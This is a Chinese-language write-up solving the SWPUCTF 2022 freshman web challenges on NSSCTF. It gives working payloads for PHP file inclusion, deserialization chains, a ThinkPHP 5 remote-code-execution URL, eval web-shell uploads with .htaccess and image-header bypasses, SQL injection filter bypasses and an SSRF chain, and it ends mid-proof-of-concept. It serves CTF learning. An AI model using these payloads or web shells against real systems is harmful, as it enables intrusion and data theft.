0%

SWPUCTF_2022新生赛(web)WP

SWPUCTF_2022新生赛web方向wp

做题平台:nssctf

ez_ez_php

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 3) === "php" ) {
echo "Nice!!!";
include($_GET["file"]);
}

else {
echo "Hacker!!";
}
}else {
highlight_file(__FILE__);
}
//flag.php

只要file参数前三个数是php就包含这个文件,所以用php伪协议读文件

1
2
3
4
5
6
http://node5.anna.nssctf.cn:26709/?file=php://filter/read=convert.base64-encode/resource=flag
Nice!!!TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K

┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezRiMTAyN2E1LWYwMmYtNDk1MC05NjhhLTNiZTI4NDFiZGE3MH0K | base64 -d
NSSCTF{4b1027a5-f02f-4950-968a-3be2841bda70}

ez_ez_php (revenge)

题目和上题一模一样
但是现在用上题的payload就只有一个nice没有显示flag,但是这里就是路径变了改成根目录下的flag就可以

1
2
3
4
5
6
http://node5.anna.nssctf.cn:26620/?file=php://filter/read=convert.base64-encode/resource=/flag
Nice!!!TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K

┌──(root㉿kakeru)-[~/tmp]
└─# echo TlNTQ1RGezA3NThlMzNjLWI3MmMtNDIyNy04NzA0LTFiOTcxN2Y3NjI0MH0K | base64 -d
NSSCTF{0758e33c-b72c-4227-8704-1b9717f76240}

1z_unserialize

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;

function __destruct()
{
$a = $this->lt;

$a($this->lly);
}


}
unserialize($_POST['nss']);
highlight_file(__FILE__);


?>

这是一个反序列化题,那就是$lt变量赋值给$a,然后$a可以当作一个函数,内容是lly
这里还要注意一下这个类有三个变量,虽然用到的只有两个,但是我们自己写的时候也要把三个变量都写出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class lyh{

public $url;
public $lt;
public $lly;



}

$m = new lyh();
$m -> lt = "system";
$m -> lly = "ls /";

echo(serialize($m));

O:3:"lyh":3:{s:3:"url";N;s:2:"lt";s:6:"system";s:3:"lly";s:4:"ls /";}

然后用POST方式传入nss参数

找到flag在/flag,然后把lly改成”cat /flag”再传入就可以

奇妙的 MD5


我怕,题目是md5,我们就把特殊的md5之后以0e开头的字符串输入试试
但是没有用,然后看页面源代码,也没有信息
丛标头中找到一个hint

这个我在做ctfshow中的题目有碰到过
md5($str, false) 这是md5的默认情况 返回32位16进制数 如果是 md5($str, true)就返回16位二进制数 ffifdyop 是true参数时候的漏洞 md5 (‘ffifdyop’,true)=’or’6xxxxxx
所有这里输入ffifdyop 跳转到c0nt1nue.php
查看源码

1
2
3
4
5
6
7
8
┌──(root㉿kakeru)-[~/tmp]
└─# curl http://node5.anna.nssctf.cn:24841/c0nt1nue.php
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){
;
-->

这里就是get传入两个不同字符串 md5相同的字符串,这个熟悉了
就传入240610708 QNKCDZO

1
?x=240610708&y=QNKCDZO

进入到最后一个页面

1
2
3
4
5
6
7
8
9
<?php
error_reporting(0);
include "flag.php";

highlight_file(__FILE__);

if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){
echo $FLAG;
}

这里要用数组绕过md5
在 PHP 中,如果 md5() 作用于一个数组,它不会计算哈希,而是返回 NULL,但不会报错(因为 error_reporting(0); 关闭了错误输出)。

这样子就是两个数组都是NULL了

运算符 作用
!= 不等于(只比较值,允许类型转换)
!== 全不等(值或类型不同都算不等)

ez_ez_unserialize

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}

这里主要考查的是wakeup魔法函数的绕过,我们之前在2021的新生题里面碰到过,就是让序列化的个数和实际不符的时候就回跳过
在 PHP 中,$_REQUEST 是一个超全局变量,用于获取通过多种方式(如 GET、POST、COOKIE)发送到脚本的数据。

1
2
3
4
5
6
7
8
9
10
<?php
class X{
public $x;
}

$a = new X();
$a -> x = "flag.php";
echo(serialize($a));

O:1:"X":1:{s:1:"x";s:8:"flag.php";}

O:<类名长度>:”<类名>”:<成员数量>:{<成员>} 把成员数量改一下,绕过wakeup函数

where_am_i


源代码中有一句提示什么东西是11位啊
ai了一下什么是11位的,知道手机号是11位的,但是还是不知道咋做
看了wp要去搜这个图然后查酒店的电话,有点逆天。。

成都的古迹酒店,填入电话

ez_rce

题目

1
真的什么都没有吗?

发现有robots.txt文件

1
2
3
User-agent: *
Disallow:
- /NSS/index.php/


访问之后的界面。所以去搜下thinkphp v5漏洞 找到rce漏洞

1
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

修改最后的值就能执行任意命令了
下面省略了前面的,只有命令

1
2
3
4
5
6
ls /
bin boot dev etc flag home lib lib64 media mnt nss opt proc root run sbin srv sys tmp usr var var 好熟悉的界面 似曾相识啊

cat /flag
好熟悉的界面 似曾相识啊 #说明是文件夹

这里flag是空的,那就用蚁剑连接去找,写一个一句话木马

1
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['a']); ?>

这里将一句话木马写入文件shell.php


在nss目录下找到flag

funny_php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
highlight_file(__FILE__);
if(isset($_GET['num'])){
if(strlen($_GET['num'])<=3&&$_GET['num']>999999999){
echo ":D";
$_SESSION['L1'] = 1;
}else{
echo ":C";
}
}
if(isset($_GET['str'])){
$str = preg_replace('/NSSCTF/',"",$_GET['str']);
if($str === "NSSCTF"){
echo "wow";
$_SESSION['L2'] = 1;
}else{
echo $str;
}
}
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if($_POST['md5_1']!==$_POST['md5_2']&&md5($_POST['md5_1'])==md5($_POST['md5_2'])){
echo "Nice!";
if(isset($_POST['md5_1'])&&isset($_POST['md5_2'])){
if(is_string($_POST['md5_1'])&&is_string($_POST['md5_2'])){
echo "yoxi!";
$_SESSION['L3'] = 1;
}else{
echo "X(";
}
}
}else{
echo "G";
echo $_POST['md5_1']."\n".$_POST['md5_2'];
}
}
if(isset($_SESSION['L1'])&&isset($_SESSION['L2'])&&isset($_SESSION['L3'])){
include('flag.php');
echo $flag;
}


?>

这里最后就是要把L1 L2 L3都设置就可以得到flag

  1. L1
    只能三个字符,但是数值要大于999999999,所以用科学计数法2e9
  2. L2
    这里preg_replace把敏感词置换为空,所以我们可用双写NSSNSSCTFCTF,这样子中间的NSSCTF就不会显示
  3. L3
    又是考查一样的md5,但是这里要求两个都是纯字母
    所以可以选EEIZDOI QLTHNDT

funny_web



直接从web这边入手不知道这个实验室名到底是什么意思
目录扫描了一下也没有发现其他的目录,只能看wp得到用户密码
用户 NSS,密码 2122693401
得到题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
highlight_file(__FILE__);
include('flag.php');
if (isset($_GET['num'])) {
$num = $_GET['num'];
if ($num != '12345') {
if (intval($num) == '12345') {
echo $FLAG;
}
} else {
echo "这为何相等又不相等";
}
}

这里要了解php的intval()函数,
intval() 是 PHP 的一个函数,它用于将变量转换为整数(integer)。它的基本用法如下:

1
intval(mixed $value, int $base = 10): int

$value(必需):要转换的值,可以是字符串、浮点数、布尔值等。
$base(可选):进制,默认为 10。仅当 $value 是字符串时有效,可用于转换不同进制的数字(如二进制、十六进制)。
这里有多种方法可以绕过inval函数,可以用小数点,字符等

webdog1__start

题目

1
2
Do you really reading to start be a web dog? DO you think you go here from where?
are you readying to start?

页面源代码中有提示

1
2
3
4
5
6
7
<!--
if (isset($_GET['web']))
{
$first=$_GET['web'];
if ($first==md5($first))

-->

然后去/robots.txt中,看到有一个f14g.php文件的地址,访问之后还是没有什么别的信息
看了wp才知道要去f12网络中的标头找到hint。。。。。
然后找到真正的题目地址F1l1l1l1l1lag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<?php
error_reporting(0);


highlight_file(__FILE__);



if (isset($_GET['get'])){
$get=$_GET['get'];
if(!strstr($get," ")){
$get = str_ireplace("flag", " ", $get);

if (strlen($get)>18){
die("This is too long.");
}

else{
eval($get);
}
}else {
die("nonono");
}

}
?>

这里过滤了空格,然后把flag替换成空格
这里有两种方法,第一种是用%09也就是制表符/t代替空格
?get=system('cat%09/*')这里只能把根目录下面所有的内容都打印出来,不过这里也就只有flag了
法二,题目是执行get的内容,但是我们可以让这个get再去执行我们自己设置的一个参数

1
?get=eval($_GET['a']);&a=system("cat /flag");

这里要注意一下第一个get参数赋值完之后要写一个;,这样子这句话中的eval语句才结束,然后被外面一层eval识别。

Ez_upload


一道上传文件的题目,我先上传了一个一句话木马,出现后缀名不能有ph!,这里如果是说不能是php我们就可以用不同的php后缀名,比如php3 php5 phtml等绕过。
这里先改后缀上传,然后用bp修改后缀看看,这里也不是在前端就校验,所以还是不行
首先是 如果直接上传普通的一句话木马,给出的错误是不能有ph
然后是抓包修改文件类型,还是提示提示不能有ph,所以是在后端做的校验,直接上传jpg文件
发现显示,还是换个类型吧,但是真的jpg这个类型不可以吗,我把文件的内容删掉,再上传
发现可以成功上传,难道是eval这个函数的或者POST之类的被过滤了,现在把<?php ?>删去,上传剩下的eval部分的内容的jpg文件 –>成功上传
那就说明了是<?php ?> 的问题了,到这我们就知道要用script版本的一句话木马了
所以最后.htaccess配置文件的方式,让上传的jpg文件解析成php文件。

1
<script language="php">@eval($_POST['a']);</script>
1
2
3
4
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

这个文件就是apache服务器里面文件夹下的1.jpg都解析成php文件
然后要用bp抓包上传这个文件,把content-type修改一下

然后就可以用蚁剑连接了,但是这里的flag是空的

如果在根目录下没有flag那基本就是在环境变量或者phpinfo里面
在蚁剑的虚拟终端里面输入php -i就可以查看php的信息了包括环境变量,然后找到了flag

numgame


题目描述:简简单单的迷惑游戏
但是用f12和右键都不能看源代码,那就在url中加上view-source:就能看源代码

点击链接跳转到题目代码界面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var input = $('input'),
input_val = parseInt(input.val()),
btn_add = $('.add'),
btn_remove = $('.remove');

input.keyup(function() {
input_val = parseInt(input.val())
});

btn_add.click(function(e) {
input_val++;
input.val(input_val);
console.log(input_val);
if(input_val==18){
input_val=-20;
input.val(-20);

}
});

btn_remove.click(function(e) {
input_val--;
input.val(input_val);
});
// NSSCTF{TnNTY1RmLnBocA==}

先用base64解码一下

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo TnNTY1RmLnBocA== | base64 -d
NsScTf.php

果然不会这么好心直接给flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//hint: 与get相似的另一种请求协议是什么呢
include("flag.php");
class nss{
static function ctf(){
include("./hint2.php");
}
}
if(isset($_GET['p'])){
if (preg_match("/n|c/m",$_GET['p'], $matches))
die("no");
call_user_func($_GET['p']);
}else{
highlight_file(__FILE__);
}

这个hint的意思就是POST了
PHP 中的 call_user_func()函数:
call_user_func() 是 PHP 的一个回调函数调用方法,它可以用于 动态调用函数 或 类的方法,即在运行时决定要执行哪个函数,而不是在代码编写时就固定。
这里用到call_user_func()中的调用类的方法 例子:

1
2
3
4
5
6
7
class Demo {
static function sayHello($name) {
return "Hello, $name!";
}
}

echo call_user_func(["Demo", "sayHello"], "Alice");

所以传入一个数组,数组中的第一个值时类名,第二个是调用的静态方法名

1
2
3
4
5
6
?p[0]=nss&p[1]=ctf
有没有一种可能,类是nss2


?p[0]=nss2&p[1]=ctf
<?php $flag="NSSCTF{ae335328-f4f3-443f-a850-22d5f617a7b8}";

在注释中找到flag

xff

题目

1
Must be accessed from Xiaohong's own computer.

估计就是考X-Forwarded-for了

修改请求头加上X-Forwarded-For: 127.0.0.1

1
Must be jump from Home Page.


这个from就是告诉我们还要添加Refer 拿到flag

js_sign


只有一个输入框,如果输入错误会有一个弹窗
进行目录扫描,发现一个地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
┌──(root㉿kakeru)-[~/tmp]
└─# dirsearch -u http://node5.anna.nssctf.cn:27571/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict

_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/tmp/reports/http_node5.anna.nssctf.cn_27571/__25-02-17_19-54-03.txt

Target: http://node5.anna.nssctf.cn:27571/

[19:54:03] Starting:
[19:54:06] 403 - 288B - /.ht_wsr.txt
[19:54:06] 403 - 288B - /.htaccess.save
[19:54:06] 403 - 288B - /.htaccess.orig
[19:54:06] 403 - 288B - /.htaccess.bak1
[19:54:06] 403 - 288B - /.htaccess_orig
[19:54:06] 403 - 288B - /.htaccess.sample
[19:54:06] 403 - 288B - /.htaccess_extra
[19:54:06] 403 - 288B - /.htaccess_sc
[19:54:06] 403 - 288B - /.htaccessBAK
[19:54:06] 403 - 288B - /.htaccessOLD
[19:54:06] 403 - 288B - /.htaccessOLD2
[19:54:06] 403 - 288B - /.html
[19:54:06] 403 - 288B - /.htm
[19:54:06] 403 - 288B - /.htpasswd_test
[19:54:06] 403 - 288B - /.htpasswds
[19:54:06] 403 - 288B - /.httr-oauth
[19:54:19] 200 - 235B - /main.js
[19:54:24] 403 - 288B - /server-status
[19:54:24] 403 - 288B - /server-status/

Task Completed

访问这个/main.js

1
2
3
4
5
6
7
8
document.getElementsByTagName("button")[0].addEventListener("click", ()=>{
flag="33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15"
if (btoa(flag.value) == 'dGFwY29kZQ==') {
alert("you got hint!!!");
} else {
alert("fuck off !!");
}
})
1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo dGFwY29kZQ== | base64 -d
tapcode

这个base64解码出来是tapcode,先去原界面输入了一下这个字符,还是不行,然后去搜索了一下 发现这是一种加密方式,flag就是用这种方式加密的


让ai给我们解码了一下tapcode,得到

1
NSSCT FYOU FIND FLAG BY TAPCODE

或者先去掉空格,然后放到在线解码平台解码

1
2
3
┌──(root㉿kakeru)-[~/tmp]
└─# echo "33 43 43 13 44 21 54 34 45 21 24 33 14 21 31 11 22 12 54 44 11 35 13 34 14 15" | tr -d " "
3343431344215434452124331421311122125444113513341415

最后的flag就是NSSCTF{youfindflagbytapcode} (先尝试原本的顺序,然后把空格去掉,最后考虑括号内变成小写

ez_sql


开始sql注入吧
先直接在url中用get传参,提示我记得刚刚说了的!! 用相对安全的方式传参!!!
所以用post传
这题就是字符型注入,输入1’就报错了,然后注释符用#也就可以了
但是前面输入nss=-1' #这样都可以然后输入or 1=1 就报错了,说明or或者空格被过滤了,那空格就用/**/代替
or就用双写绕过,双写绕过就是利用or被替换成空,这样oorrder就会变成o rder,同理后面也发现union被过滤,也用这种方式
1.查列数

1
2
3
4
5
6
7
8
nss=-1'/**/oorrder/**/by/**/3#

Flag: NSSCTF{This_1s_F4ke_flag}
This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng}

nss=-1'/**/oorrder/**/by/**/4#

Unknown column '4' in 'order clause'

所以一共就是三列
2.爆库

1
2
3
4
nss=-1'/**/uunionnion/**/select/**/1,database(),3#
Flag: NSSCTF{This_1s_F4ke_flag}

This is true flag: NSSCTF{Ar3_y0u_K1ngd1ng}

这里没有直接给我们库名,所以猜测可能不在这页结果,这里要用到limit语句里限制查询结果数量

1
2
SELECT * FROM table_name LIMIT 偏移量, 数量;

1
2
3
4
5
nss=-1'/**/uunionnion/**/select/**/1,database(),3/**/limit/**/1,1#

Flag: NSS_db

This is true flag: 3

3.爆表

1
2
3
4
5
6
7
8
9
10
nss=-1'/**/uunionnion/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database();#

Table 'infmation_schema.tables' doesn't exist

#因为or被过滤了所以需要双写绕过
nss=-1'/**/uunionnion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1;#

Flag: NSS_tb,users

This is true flag: 3

4.爆列

1
2
3
4
nss=-1'/**/uunionnion/**/select/**/1,group_concat(column_name),3/**/from/**/infoorrmation_schema.columns/**/where/**/table_name="NSS_tb"/**/limit/**/1,1;#
Flag: id,Secr3t,flll444g

This is true flag: 3

5.查值

1
2
3
4
5
6
7
8
9
10
nss=-1'/**/uunionnion/**/select/**/1,group_concat("flll444g"),3/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1;#
Flag: flll444g

This is true flag: 3

nss=-1'/**/uunionnion/**/select/**/1,group_concat(Secr3t),3/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1#
Flag: NSSCTF{dd0e46f4-4ce9-4533-97f0-d01251ae184a}

This is true flag: 3

ez_1zpop

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}

class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}

function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}

class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}

if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}

这题就是考php的反序列化链了,我们先要从结果出发,怎么样才能得到flag呢
之前做的反序列化题一般都是符合某种条件就输出flag,这里没有找到这样的文件,所以这个文件要我们通过某种方式获取
除了直接输出出来,那就是自己通过执行命令执行出来了。这里看着像能执行命令的只有这里 $b($this->title);
这不就是一个函数吗,$b是函数名($this->title)是参数,我们的目标就是用这个实现system函数。
然后这里也同时把fin这个类分析完了,那第一个dxg类发现没有任何用也不用再分析了
那就重点看这个lt类: 这里的__toString函数就是如果这两个md5一样但是本身一样就会执行$this->impo的fmm函数
那我们就让$this->impo是fin对象就可以了,这样才能达到我们执行函数的目的
最后是如何才能让这个__toString函数执行呢?只要这个被输出就可以了,这里__destruct函数有echo 可以!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class lt
{
public $impo='hi';
public $md51='240610708';
public $md52='QNKCDZO';
}
class fin
{
public $a = "system";
public $url = '';
public $title = "cat /flag";
}

$nss = new lt();
$nss -> impo = new fin();
echo(serialize($nss));


O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:0:"";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:9:"240610708";s:4:"md52";s:7:"QNKCDZO";}

得到这个序列化的结果之后还要记得绕过wakeup函数,这个就是修改参数的个数就可以了 把”lt”后面的3改成别的数字

file_master


又是一道文件上传题目
先上传一个正常的一句话木马的php上去,看看会怎么样

只让上传jpg格式的文件,试试修改后缀为jpg,bp抓包然后修改后缀

返回的是invalid file head,说明会检测文件头来看看是不是真的图片,那就在前面加上GIF89a
然后提示图片的宽高有限制,我就把<?php 用<?= 方式简写,但是还是这个问题
卡住之后看了wp找到原来index.php可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
session_start();
if(isset($_GET['filename'])){
echo file_get_contents($_GET['filename']);
}
else if(isset($_FILES['file']['name'])){
$whtie_list = array("image/jpeg");
$filetype = $_FILES["file"]["type"];
if(in_array($filetype,$whtie_list)){
$img_info = @getimagesize($_FILES["file"]["tmp_name"]);
if($img_info){
if($img_info[0]<=20 && $img_info[1]<=20){
if(!is_dir("upload/".session_id())){
mkdir("upload/".session_id());
}
$save_path = "upload/".session_id()."/".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"],$save_path);
$content = file_get_contents($save_path);
if(preg_match("/php/i",$content)){
sleep(5);
@unlink($save_path);
die("hacker!!!");
}else{
echo "upload success!! upload/your_sessionid/your_filename";
}
}else{
die("image hight and width must less than 20");
}
}else{
die("invalid file head");
}
}else{
die("invalid file type!image/jpeg only!!");
}
}else{
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents("welcome.jpg")).'">';
}
?>

这里就是对宽高做了限制,然后不允许php出现所以我们之前用<?=代替还是没错的,主要就是定义宽高
原来直接在文件里面定义就好了

1
2
3
#define height 1
#define width 1
<?= @eval($_POST['a']);

成功上传!

Cookie: PHPSESSID=nrd70psbefs9ma416hm6g3qfnc所以我们的路径就在upload/nrd70psbefs9ma416hm6g3qfnc/2.php
蚁剑连接进来发现看不了根目录

解决方法就是去蚁剑的虚拟终端里面去看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
(www-data:/var/www/html/upload/nrd70psbefs9ma416hm6g3qfnc) $ cd /
(www-data:/) $ ls -al
total 88
drwxr-xr-x 1 root root 4096 Feb 17 13:50 .
drwxr-xr-x 1 root root 4096 Feb 17 13:50 ..
-rwxr-xr-x 1 root root 0 Feb 17 13:50 .dockerenv
drwxr-xr-x 1 root root 4096 Sep 13 2022 bin
drwxr-xr-x 2 root root 4096 Sep 3 2022 boot
drwxr-xr-x 5 root root 340 Feb 17 13:50 dev
drwxr-xr-x 1 root root 4096 Feb 17 13:50 etc
-rwxrwxrwx 1 root root 45 Feb 17 13:50 flag
-rwxrwxrwx 1 root root 69 Sep 19 2022 flag.sh
drwxr-xr-x 2 root root 4096 Sep 3 2022 home
drwxr-xr-x 1 root root 4096 Sep 13 2022 lib
drwxr-xr-x 2 root root 4096 Sep 12 2022 lib64
drwxr-xr-x 2 root root 4096 Sep 12 2022 media
drwxr-xr-x 2 root root 4096 Sep 12 2022 mnt
drwxr-xr-x 2 root root 4096 Sep 12 2022 opt
dr-xr-xr-x 290 root root 0 Feb 17 13:50 proc
drwx------ 1 root root 4096 Sep 13 2022 root
drwxr-xr-x 1 root root 4096 Sep 13 2022 run
drwxr-xr-x 1 root root 4096 Sep 13 2022 sbin
drwxr-xr-x 2 root root 4096 Sep 12 2022 srv
dr-xr-xr-x 13 root root 0 Feb 17 13:50 sys
drwxrwxrwt 1 root root 4096 Feb 17 14:17 tmp
drwxr-xr-x 1 root root 4096 Sep 12 2022 usr
drwxr-xr-x 1 root root 4096 Sep 13 2022 var
(www-data:/) $ cat flag
NSSCTF{a716da50-93a3-4f5e-8451-fff514e48cc1}

Power!


查看源码里面中 有一句注释

1
<!-- ?source= -->

随便输入一个文件之后,就给出源码?source=/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
<?php
class FileViewer{
public $black_list = "flag";
public $local = "http://127.0.0.1/";
public $path;
public function __call($f,$a){
$this->loadfile();
}
public function loadfile(){
if(!is_array($this->path)){
if(preg_match("/".$this->black_list."/i",$this->path)){
$file = $this->curl($this->local."cheems.jpg");
}else{
$file = $this->curl($this->local.$this->path);
}
}else{
$file = $this->curl($this->local."cheems.jpg");
}
echo '<img src="data:jpg;base64,'.base64_encode($file).'"/>';
}
public function curl($path){
$url = $path;
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_HEADER, 0);
$response = curl_exec($curl);
curl_close($curl);
return $response;
}
public function __wakeup(){
$this->local = "http://127.0.0.1/";
}
}
class Backdoor{
public $a;
public $b;
public $superhacker = "hacker.jpg";
public function goodman($i,$j){
$i->$j = $this->superhacker;
}
public function __destruct(){
$this->goodman($this->a,$this->b);
$this->a->c();
}
}
if(isset($_GET['source'])){
highlight_file(__FILE__);
}else{
if(isset($_GET['image_path'])){
$path = $_GET['image_path']; //flag in /flag.php
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}else{
echo '<h2>Seriously??</h2><img src="data:jpg;base64,'.base64_encode(file_get_contents("cheems.jpg")).'"/>';
}

}else if(isset($_GET['path_info'])){
$path_info = $_GET['path_info'];
$FV = unserialize(base64_decode($path_info));
$FV->loadfile();
}else{
$path = "vergil.jpg";
echo '<h2>POWER!!</h2>
<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';
}
}
?>

我们看到最后有一个反序列化函数,所以这题是一个反序列化链的题目
先看刚才读取文件的逻辑在这句

1
2
if(is_string($path)&&!preg_match("/http:|gopher:|glob:|php:/i",$path)){
echo '<img src="data:jpg;base64,'.base64_encode(file_get_contents($path)).'"/>';

那就先读一下当前目录下的flag.php,然后查看源代码,发现在这个图片src中确实有base64加密过的信息 ?image_path=flag.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<img src="data:jpg;base64,PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4="/></body>
<!-- ?source= -->
</html>

┌──(root㉿kakeru)-[~/tmp]
└─# echo PD9waHANCg0KJGEgPSAiZ29vZCBqb2IsYnV0IHRoZXJlIGlzIG5vIGZsYWcNCg0KaSBwdXQgbXkgZmxhZyBpbiBpbnRyYW5ldCgxMjcuMC4wLjE6NjU1MDApDQoNCm91dHNpZGVyIGhhdmUgbm8gcGVybWlzc2lvbnMgdG8gZ2V0IGl0DQoNCmlmIHlvdSB3YW50IGl0LHRoZW4geW91IGhhdmUgdG8gdGFrZSBpdA0KDQpidXQgeW91IGFscmVhZHkga25ldyB0aGUgcnVsZXMNCg0KdHJ5IGl0IjsNCg0KPz4= | base64 -d
<?php

$a = "good job,but there is no flag

i put my flag in intranet(127.0.0.1:65500)

outsider have no permissions to get it

if you want it,then you have to take it

but you already knew the rules

try it";

?>

这里告诉我们要读到flag就要在内网的65500端口访问才可以
那就继续从源码中找到反序列化链。
和之前碰到这种类型题目一致,不能直接输出flag就去找怎么才能执行命令,很快就可以找到是在FileViewer类中的
$file = $this->curl($this->local.$this->path);这个命令就会去访问$this->local$this->path文件
这个在FileViewer类的loadfile函数中,然后找到同样这个类中的_call($f,$a)函数会执行loadfile函数,但是这个函数仅仅是在这个类里面,没有体现怎么执行
现在再去找能去执行这个函数的东西,看到Backdoor这个类,(这个名字就已经提示了)
这个类第一个函数goodman作用让第一个参数的第二个参数属性变成这个类中的superhacker
第二个__destruct()魔法函数,先执行一下goodman函数,然后执行$this->a->c()
那么关键就来了,我们就利用$this->a->c()去执行FileViewer中的_call($f,$a)
那么完整的链是:

1
2
3
入口: Backdoor __destruct()  
调用 FileViewer _call($f,$a) 跳到
FileViewer loadfile

在看如何去访问内网的127.0.0.1:65500/flag
这里我们访问的路径是$this->local拼接上$this->path,过滤只针对$this->path,这里把/flag过滤了
那绕过很容易,只要把一部分放在$this->local就好了,也就是让$this->local127.0.0.1:65500/fl这样
那对这个$this->local有限制的就是__wakeup()这个魔法函数,他会重置值
绕过也很容易,这个wakeup函数是在FileViewer类初始化的时候会执行的,我们只要用Backdoor类中的goodman方法就可以重新赋值,那其实也不用管了
那现在整理清思路,先写一个大致的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
class FileViewer{
public $black_list ;
public $local ;
public $path='flag.php';

}
class Backdoor{
public $a;
public $b='local';
public $superhacker;

}

$f = new FileViewer();
$back = new Backdoor();

$back -> a = $f; # 入口,去执行$a类中的函数
$back -> b = "local"; #让goodman去修改loacl
